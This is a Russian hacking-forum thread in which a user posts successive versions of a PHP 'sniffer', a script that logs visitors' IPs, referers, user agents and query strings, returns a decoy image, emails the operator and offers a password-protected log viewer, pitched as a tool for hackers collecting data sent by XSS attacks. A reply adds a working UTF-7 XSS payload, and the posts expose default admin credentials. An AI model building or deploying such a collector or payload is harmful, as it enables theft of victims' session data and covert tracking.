Вот, наконец-то я решил взяться за написание хорошего сниффера. Написал первую версия и вот, выкладываю ее на обозрение. Code: <?php // Конфигурация $config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация. $config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0. $config['email'] = "[email protected]"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0. $config['from'] = "[email protected]"; // Адрес, с которого будут отправляться уведомления. $config['name'] = "Sniffer: new query"; // Тема письма. $config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса. // Подавляем вывод ошибок error_reporting(0); function index() { global $config; // Проверки на несуществующие или пустые индексы if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") { $_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide"; } if (empty($_SERVER['QUERY_STRING'])) { $_SERVER['QUERY_STRING'] = "None"; } if (empty($_SERVER['HTTP_REFERER'])) { $_SERVER['HTTP_REFERER'] = "Hide"; } // Создание массива $info['date'] = date("d.m.Y H:i:s"); $info['proxy_ip'] = $_SERVER['REMOTE_ADDR']; $info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR']; $info['referer'] = $_SERVER['HTTP_REFERER']; $info['agent'] = $_SERVER['HTTP_USER_AGENT']; $info['query'] = urldecode($_SERVER['QUERY_STRING']); // Создание строки $string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n"; // Запись строки в файл $link = fopen($config['file'], "a"); fwrite($link, $string); fclose($link); unset($string, $link); // Отправка уведомления на E-Mail if (!empty($config['email'])) { $script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $text = $config['new']." ".$info['date']."\r\n".$script; mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n"); unset($script, $text); } unset($info); // Вывод изображения if (!empty($config['img'])) { $image = file_get_contents($config['img']); header("Content-type: image/gif"); header("Content-length: ".strlen($image)); echo $image; unset($image); } } function view() { global $config; $file = file($config['file']); foreach ($file as $string) { $array = explode("||", $string); foreach ($array as $value) { echo $value."<br />\n"; } echo "<hr />\n"; } } if (empty($_GET['mode'])) { $_GET['mode'] = "index"; } switch ($_GET['mode']) { case "view": view(); break; default: index(); break; } ?> Сниффер может посылать уведомление на e-mail, показывать картинку, записывать данные в файл и выводить их. В ближайшее время планируется релиз версии 1.1, 1.2 и 2.0. В версии 1.1 будет переработана система вывода запросов - будет разработан дизайн. В версии 1.2 будет возможность очищать лог сниффера прямой из веб-интерфейса. И самая крутая фишка, которая нас ожидает в версии 2.0 - при поступлении запроса, сниффер будет мгновенно отправлять сообщение на ICQ (Я думаю у настоящего хакера эта тузла включена постоянно). А сейчас вы можете потестить первую версию и выложить свои мысли по ней )) Да прибудет с тобой сила, тестер!
Так же ваши мысли можете убить в моей репутации *расчитывает на хорошие* )) Хотя, если мысли плохие - убейте их в том же йогурте!
Свет увидела новая версия моего сниффера )) Продолжаем отлавливать баги: Code: <?php // Конфигурация $config['login'] = "login"; // Логин для входа $config['password'] = "password"; // Пароль для входа $config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация. $config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0. $config['email'] = "[email protected]"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0. $config['from'] = "[email protected]"; // Адрес, с которого будут отправляться уведомления. $config['name'] = "Sniffer: new query"; // Тема письма. $config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса. error_reporting(0); function auth() { header('WWW-Authenticate: Basic realm="ProTeam Sniffer"'); header('HTTP/1.0 401 Unauthorized'); die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>"); } function index() { global $config; if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") { $_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide"; } if (empty($_SERVER['QUERY_STRING'])) { $_SERVER['QUERY_STRING'] = "None"; } if (empty($_SERVER['HTTP_REFERER'])) { $_SERVER['HTTP_REFERER'] = "Hide"; } $info['date'] = date("d.m.Y H:i:s"); $info['proxy_ip'] = $_SERVER['REMOTE_ADDR']; $info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR']; $info['referer'] = $_SERVER['HTTP_REFERER']; $info['agent'] = $_SERVER['HTTP_USER_AGENT']; $info['query'] = urldecode($_SERVER['QUERY_STRING']); $string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n"; $link = fopen($config['file'], "a"); fwrite($link, $string); fclose($link); unset($string, $link); if (!empty($config['email'])) { $script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $text = $config['new']." ".$info['date']."\r\n".$script; mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n"); unset($script, $text); } unset($info); if (!empty($config['img'])) { $image = file_get_contents($config['img']); header("Content-type: image/gif"); header("Content-length: ".strlen($image)); echo $image; unset($image); } } function view() { global $config; $file = file($config['file']); if (empty($file[0])) { echo "<br />\n"; echo "<br />\n"; echo "<br />\n"; echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>"; exit; } krsort($file); $file_count = count($file); echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n"; for ($c = 0; $c < $file_count; $c++) { $array = explode("||", $file[$c]); if (strpos($array[5], "&")) { $query = explode("&", $array[5]); $count = count($query); $prev = $count - 1; $array[5] = ""; for ($i = 0; $i < $count; $i++) { $array[5] .= $query[$i]; if ($i != $prev) { $array[5] .= " <b>//</b> "; } } unset($query, $count, $prev); } $str_num = $file_count - $c; echo "<fieldset>"; echo "<table width=\"100%\" border=\"0\">\n"; echo "<tr>\n"; echo "<td>Дата:</td>\n"; echo "<td>".$array[0]."</td>\n"; echo "<td rowspan=\"6\"><input id=\"del\" name=\"box-".$str_num."\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n"; echo "<tr>\n"; echo "<td>IP-адрес (Proxy):</td>\n"; echo "<td>".$array[1]."</td></tr>\n"; echo "<tr>\n"; echo "<td>IP-адрес (Прямой):</td>\n"; echo "<td>".$array[2]."</td></tr>\n"; echo "<tr>\n"; echo "<td>Реферер:</td>\n"; echo "<td>".$array[3]."</td></tr>\n"; echo "<tr>\n"; echo "<td>Браузер:</td>\n"; echo "<td>".$array[4]."</td></tr>\n"; echo "<tr>\n"; echo "<td>Запрос:</td>\n"; echo "<td>".rtrim($array[5])."</td></tr>\n"; echo "</table>\n"; echo "</fieldset>\n"; echo "<br />\n"; } echo "<table width=\"100%\" border=\"0\">\n"; echo "<tr>\n"; echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n"; echo "</table>\n"; echo "</form>\n"; unset($file, $file_count, $array); } function del() { global $config; $file = file($config['file']); foreach ($_POST as $string) { $array = explode("-", $string); if ($array[0] == "del") { unset($file[$array[1] - 1]); } } unset($array); $string = ""; foreach ($file as $str) { $string .= $str; } $link = fopen($config['file'], "w"); fwrite($link, $string); fclose($link); header("Location: ".$_SERVER['PHP_SELF']."?mode=view"); } if (empty($_GET['mode'])) { $_GET['mode'] = "index"; } else { if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth(); if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth(); } switch ($_GET['mode']) { case "view": view(); break; case "delete": del(); break; default: index(); break; } ?>
Краткий список возможностей: + Вывод картинки в буфер + Запись всех данных, которые возможно получить + Обработка запроса и вывод "В красивом виде" (Запрос разделяется через &) + Возможность поставить логин/пароль для просмотра лога через веб-интерфейс + Удаление записей прямо из веб-интерфейса + Посылка уведомлений на e-mail (Хорошо использовать в связке с Mail-Agent) + Небольшой размер + Не напрягающий глаз интерфейс + Все в одном файле
http://proteam.com.ru/image.gif - Снифер http://proteam.com.ru/sniffer.php - Снифер http://proteam.com.ru/sniffer.php?mode=view - Админка (Логин: login // Пароль: password) ЗЫ: Думаю ставить навороты, как в снифере каньяка или нет. Вроде бы зачем хакеру всякие дизайны, фильтры и т.д. чтобы прочитать одну строчку с запросом - а с другой стороны ХЗ. Вот, хочу ICQ чтоыб отправляло, это да
Фильтры Прикольный снифер, но рас ты решил сделать вэб интерфейс, то хоть какие небудь фильтры поставь PHP: $query =~ s/</</g; # это правдо на перле ато я зашол посмотрель лог изнутри, а там скриптов море, хорошо что они у меня отключены.
hidden, да уж... Не пропалил я возможность вставки скриптов в лог )) В общем, решение: Code: $string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n"; Меняем на: Code: $string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n");
+ADw-script+AD4-tx+AD0-/xss/+ADs-alert(tx.source)+ADsAPA-/script+AD4- Это может сработать, если русский уберешь. http://antichat.ru/txt/utf7/
hidden, как понять??? Как защититься от этого, что фильтровать? Первый раз вижу такой метод взлома ))
Кстати, может кто подскажет, как сделать, чтобы при нажатии на кнопку отмечались все чекбоксы на странице (JavaScript).
Держи Code: function check_msg(obj,val) { var obj_len=obj.length; for (i=0; i<obj_len; i++) { if(obj.elements[i].type=='checkbox') { obj.elements[i].checked=val; } } } <input name=set type=checkbox onClick="check_msg(this.form,this.checked);" style="cursor:hand;width:8pt" title="Отметить все"> while(array){ <input name="uid[]" type=checkbox value="" style="cursor:hand;width:8pt"> }
Сниффер был немного доработан и добавлена функция "Удалить все", но пока что она никому не доступна )) Исходники выложу, когда сниффер пройдет тестирование. Итак, хакеры, GO ломать сниффер )) http://proteam.com.ru/sniffer.php http://proteam.com.ru/sniffer.php?mode=view [ Login: login // Password: password ]
Я думаю, что с исходниками баг найти будет намного легче )) Итак, самая последняя версия сниффера: Code: <?php // Конфигурация $config['login'] = "login"; // Логин для входа $config['password'] = "password"; // Пароль для входа $config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация. $config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0. //$config['email'] = "[email protected]"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0. $config['from'] = "[email protected]"; // Адрес, с которого будут отправляться уведомления. $config['name'] = "Sniffer: new query"; // Тема письма. $config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса. error_reporting(0); function auth() { header('WWW-Authenticate: Basic realm="ProTeam Sniffer"'); header('HTTP/1.0 401 Unauthorized'); die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>"); } function index() { global $config; if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") { $_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide"; } if (empty($_SERVER['HTTP_REFERER'])) { $_SERVER['HTTP_REFERER'] = "Hide"; } if (empty($_SERVER['USER_AGENT'])) { $_SERVER['USER_AGENT'] = "Hide"; } if (empty($_SERVER['QUERY_STRING'])) { $_SERVER['QUERY_STRING'] = "None"; } $info['date'] = date("d.m.Y H:i:s"); $info['proxy_ip'] = $_SERVER['REMOTE_ADDR']; $info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR']; $info['referer'] = $_SERVER['HTTP_REFERER']; $info['agent'] = $_SERVER['HTTP_USER_AGENT']; $info['query'] = urldecode($_SERVER['QUERY_STRING']); $string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."||\n"); $link = fopen($config['file'], "a"); flock($link, LOCK_EX); fwrite($link, $string); flock($link, LOCK_UN); fclose($link); unset($string, $link); if (!empty($config['email'])) { $script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $text = $config['new']." ".$info['date']."\r\n".$script; mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n"); unset($script, $text); } unset($info); if (!empty($config['img'])) { $image = file_get_contents($config['img']); header("Content-type: image/gif"); echo $image; unset($image); } } function view() { global $config; echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n"; echo "<html>\n"; echo "<head>\n"; echo "<meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1251\">\n"; echo "<meta http-equiv=\"expires\" content=\"0\">\n"; echo "<title>ProTeam Sniffer</title>\n"; echo "</head>\n"; echo "<body>\n"; $file = file($config['file']); if (empty($file[0])) { echo "<br />\n"; echo "<br />\n"; echo "<br />\n"; echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>\n"; echo "</body>\n"; echo "</html>"; exit; } $file_count = count($file); echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n"; for ($c = 0; $c < $file_count; $c++) { $str_num = $file_count - $c; $array = explode("||", $file[$str_num - 1]); $array[6] = str_replace(";", "<br />\n", $array[6]); echo "<fieldset>"; echo "<table width=\"100%\" border=\"0\">\n"; echo "<tr>\n"; echo "<td width=\"175\">Дата:</td>\n"; echo "<td>".$array[0]."</td>\n"; echo "<td rowspan=\"7\" width=\"20\" align=\"right\"><input name=\"del\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n"; echo "<tr>\n"; echo "<td>IP-адрес (Proxy):</td>\n"; echo "<td>".$array[1]."</td></tr>\n"; echo "<tr>\n"; echo "<td>IP-адрес (Прямой):</td>\n"; echo "<td>".$array[2]."</td></tr>\n"; echo "<tr>\n"; echo "<td>Реферер:</td>\n"; echo "<td>".$array[3]."</td></tr>\n"; echo "<tr>\n"; echo "<td>Браузер:</td>\n"; echo "<td>".$array[4]."</td></tr>\n"; echo "<tr>\n"; echo "<td>Запрос:</td>\n"; echo "<td>".$array[5]."</td></tr>\n"; echo "</table>\n"; echo "</fieldset>\n"; echo "<br />\n"; } echo "<table width=\"100%\" border=\"0\">\n"; echo "<tr>\n"; echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n"; echo "</table>\n"; echo "</form>\n"; echo "</body>\n"; echo "</html>"; unset($file, $file_count, $str_num, $array); } function del() { global $config; if (!empty($_GET['all']) && $_GET['all'] == 1) { $link = fopen($config['file'], "w"); fclose($link); } else { $file = file($config['file']); foreach ($_POST as $string) { $array = explode("-", $string); if ($array[0] == "del") { unset($file[$array[1] - 1]); } } unset($array); $string = ""; foreach ($file as $str) { $string .= $str; } $link = fopen($config['file'], "w"); flock($link, LOCK_EX); fwrite($link, $string); flock($link, LOCK_UN); fclose($link); unset($file, $string); } unset($link); header("Location: ".$_SERVER['PHP_SELF']."?mode=view"); } if (empty($_GET['mode'])) { $_GET['mode'] = "index"; } else { if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth(); if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth(); } switch ($_GET['mode']) { case "view": view(); break; case "delete": del(); break; default: index(); break; } ?> Ваши замечания, предложения, идеи прошу выкладывать в этом топике, за дельные посты буду ставить + ))
файл Больше ничего найти не смог, кроме что только файл лучше распологать в недоступном дня вэба месте, но я думаю он там только на время тестирования, хотя кто может узнать его имя.
Может не самое подходящее место, но ты говорил про отсылку сообщений на Icq, не поденишся скриптом или хотябы источником, как это делать?